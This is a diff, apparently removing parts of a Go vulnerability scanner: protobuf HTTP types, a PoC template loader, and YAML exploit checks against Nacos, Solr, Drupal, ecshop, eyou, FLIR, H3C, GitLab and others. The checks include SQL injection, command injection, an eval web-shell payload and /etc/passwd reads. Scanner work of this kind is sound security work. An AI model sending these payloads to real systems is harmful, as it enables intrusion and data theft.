Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
|
||||
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *UrlType) Reset() { *m = UrlType{} }
|
||||
func (m *UrlType) String() string { return proto.CompactTextString(m) }
|
||||
func (*UrlType) ProtoMessage() {}
|
||||
func (*UrlType) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{0}
|
||||
}
|
||||
|
||||
func (m *UrlType) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_UrlType.Unmarshal(m, b)
|
||||
}
|
||||
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *UrlType) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_UrlType.Merge(m, src)
|
||||
}
|
||||
func (m *UrlType) XXX_Size() int {
|
||||
return xxx_messageInfo_UrlType.Size(m)
|
||||
}
|
||||
func (m *UrlType) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_UrlType.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_UrlType proto.InternalMessageInfo
|
||||
|
||||
func (m *UrlType) GetScheme() string {
|
||||
if m != nil {
|
||||
return m.Scheme
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetDomain() string {
|
||||
if m != nil {
|
||||
return m.Domain
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetHost() string {
|
||||
if m != nil {
|
||||
return m.Host
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetPort() string {
|
||||
if m != nil {
|
||||
return m.Port
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetPath() string {
|
||||
if m != nil {
|
||||
return m.Path
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetQuery() string {
|
||||
if m != nil {
|
||||
return m.Query
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetFragment() string {
|
||||
if m != nil {
|
||||
return m.Fragment
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type Request struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
|
||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Request) Reset() { *m = Request{} }
|
||||
func (m *Request) String() string { return proto.CompactTextString(m) }
|
||||
func (*Request) ProtoMessage() {}
|
||||
func (*Request) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{1}
|
||||
}
|
||||
|
||||
func (m *Request) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Request.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Request) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Request.Merge(m, src)
|
||||
}
|
||||
func (m *Request) XXX_Size() int {
|
||||
return xxx_messageInfo_Request.Size(m)
|
||||
}
|
||||
func (m *Request) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Request.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Request proto.InternalMessageInfo
|
||||
|
||||
func (m *Request) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Request) GetMethod() string {
|
||||
if m != nil {
|
||||
return m.Method
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Request) GetHeaders() map[string]string {
|
||||
if m != nil {
|
||||
return m.Headers
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Request) GetContentType() string {
|
||||
if m != nil {
|
||||
return m.ContentType
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Request) GetBody() []byte {
|
||||
if m != nil {
|
||||
return m.Body
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Response struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
|
||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Response) Reset() { *m = Response{} }
|
||||
func (m *Response) String() string { return proto.CompactTextString(m) }
|
||||
func (*Response) ProtoMessage() {}
|
||||
func (*Response) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{2}
|
||||
}
|
||||
|
||||
func (m *Response) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Response.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Response) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Response.Merge(m, src)
|
||||
}
|
||||
func (m *Response) XXX_Size() int {
|
||||
return xxx_messageInfo_Response.Size(m)
|
||||
}
|
||||
func (m *Response) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Response.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Response proto.InternalMessageInfo
|
||||
|
||||
func (m *Response) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Response) GetStatus() int32 {
|
||||
if m != nil {
|
||||
return m.Status
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (m *Response) GetHeaders() map[string]string {
|
||||
if m != nil {
|
||||
return m.Headers
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Response) GetContentType() string {
|
||||
if m != nil {
|
||||
return m.ContentType
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Response) GetBody() []byte {
|
||||
if m != nil {
|
||||
return m.Body
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Reverse struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
||||
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
|
||||
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Reverse) Reset() { *m = Reverse{} }
|
||||
func (m *Reverse) String() string { return proto.CompactTextString(m) }
|
||||
func (*Reverse) ProtoMessage() {}
|
||||
func (*Reverse) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{3}
|
||||
}
|
||||
|
||||
func (m *Reverse) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Reverse.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Reverse) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Reverse.Merge(m, src)
|
||||
}
|
||||
func (m *Reverse) XXX_Size() int {
|
||||
return xxx_messageInfo_Reverse.Size(m)
|
||||
}
|
||||
func (m *Reverse) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Reverse.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Reverse proto.InternalMessageInfo
|
||||
|
||||
func (m *Reverse) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Reverse) GetDomain() string {
|
||||
if m != nil {
|
||||
return m.Domain
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Reverse) GetIp() string {
|
||||
if m != nil {
|
||||
return m.Ip
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Reverse) GetIsDomainNameServer() bool {
|
||||
if m != nil {
|
||||
return m.IsDomainNameServer
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
|
||||
proto.RegisterType((*Request)(nil), "lib.Request")
|
||||
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
|
||||
proto.RegisterType((*Response)(nil), "lib.Response")
|
||||
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
|
||||
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
|
||||
}
|
||||
|
||||
func init() {
|
||||
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
|
||||
}
|
||||
|
||||
var fileDescriptor_11b04836674e6f94 = []byte{
|
||||
// 378 bytes of a gzipped FileDescriptorProto
|
||||
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
|
||||
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
|
||||
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
|
||||
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
|
||||
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
|
||||
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
|
||||
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
|
||||
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
|
||||
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
|
||||
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
|
||||
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
|
||||
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
|
||||
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
|
||||
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
|
||||
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
|
||||
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
|
||||
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
|
||||
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
|
||||
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
|
||||
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
|
||||
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
|
||||
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
|
||||
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
|
||||
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"gopkg.in/yaml.v3"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set map[string]string `yaml:"set"`
|
||||
Sets map[string][]string `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"`
|
||||
Path string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"`
|
||||
Links []string `yaml:"links"`
|
||||
Description string `yaml:"description"`
|
||||
Version string `yaml:"version"`
|
||||
}
|
||||
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := loadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var foundFiles []string
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-alibaba-nacos-api-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
|
||||
headers:
|
||||
User-Agent: Nacos-Server
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
|
||||
detail:
|
||||
author: AgeloVito
|
||||
info: alibaba-nacos-api-unauth
|
||||
login: nacos/nacos
|
||||
links:
|
||||
- https://blog.csdn.net/caiqiiqi/article/details/112005424
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-apache-solr-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/solr/admin/cores?indexInfo=false&wt=json"
|
||||
search: |
|
||||
"name":"(?P<core_name>.+?)",
|
||||
expression:
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/solr/{{core_name}}/config"
|
||||
headers:
|
||||
Content-type: application/json
|
||||
body: |
|
||||
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"This")
|
||||
detail:
|
||||
author: flyinbed
|
||||
links:
|
||||
- "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg"
|
||||
- "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ"
|
||||
@@ -1,9 +0,0 @@
|
||||
name: poc-yaml-dlink-dcs-info-leak
|
||||
rules:
|
||||
- method: GET
|
||||
path: /config/getuser?index=0
|
||||
expression: response.status == 200 && response.body.bcontains(b"name=") && response.body.bcontains(b"pass=") && response.body.bcontains(b"priv=")
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/cG868wc7dmwxFslcwlgDpw
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-drupal-cve-2018-7600-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,29 +0,0 @@
|
||||
name: poc-yaml-drupal-cve-2018-7600-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
||||
search: |
|
||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_build_id={{build_id}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,28 +0,0 @@
|
||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
||||
search: |
|
||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_build_id={{build_id}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
drupal_version: 7
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
drupal_version: 8
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-ecology-sqli
|
||||
set:
|
||||
rand: randomInt(200000000, 210000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
|
||||
detail:
|
||||
author: whami-root(https://github.com/whami-root)
|
||||
links:
|
||||
- https://github.com/whami-root
|
||||
@@ -1,17 +0,0 @@
|
||||
name: poc-yaml-ecshop-rce
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
r2: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /user.php
|
||||
headers:
|
||||
Referer: >-
|
||||
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: action=login&pp123=printf({{r1}}*{{r2}});
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
author: 凉风(http://webkiller.cn/)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
|
||||
@@ -1,17 +0,0 @@
|
||||
name: poc-yaml-ecshop-rce
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
r2: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /user.php
|
||||
headers:
|
||||
Referer: >-
|
||||
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: action=login&pp123=printf({{r1}}*{{r2}});
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
author: 凉风(http://webkiller.cn/)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-eyou-rce
|
||||
set:
|
||||
r1: randomInt(800000000, 1000000000)
|
||||
r2: randomInt(800000000, 1000000000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /webadm/?q=moni_detail.do&action=gragh
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: type='|expr {{r1}} + {{r2}}||'
|
||||
expression: response.body.bcontains(bytes(string(r1 + r2)))
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-flir-ax8-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/download.php?file=/etc/passwd"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: Print1n(http://print1n.top)
|
||||
links:
|
||||
- https://juejin.cn/post/6961370156484263972
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-gitlab-cnvd-2021-14193-infoleak
|
||||
rules:
|
||||
- method: POST
|
||||
path: /api/graphql
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: >-
|
||||
{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
|
||||
follow_redirects: false
|
||||
expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("avatarUrl"))
|
||||
detail:
|
||||
author: 说书人(http://python.vin/)
|
||||
links:
|
||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193
|
||||
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-h3c-secparh-any-user-login
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
|
||||
expression: |
|
||||
response.status == 200 && ("错误的id".bmatches(response.body) || "审计管理员".bmatches(response.body))
|
||||
detail:
|
||||
author: Print1n(https://print1n.top)
|
||||
links:
|
||||
- https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-jumpserver-unauth-rce
|
||||
set:
|
||||
r1: randomLowercase(5)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /api/v1/authentication/connection-token/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
||||
- method: GET
|
||||
path: /api/v1/authentication/connection-token/?user-only={{r1}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: jumpserver unauth read logfile + jumpserver rce
|
||||
links:
|
||||
- https://s.tencent.com/research/bsafe/1228.html
|
||||
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
|
||||
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-jumpserver-unauth-rce
|
||||
set:
|
||||
r1: randomLowercase(5)
|
||||
rules:
|
||||
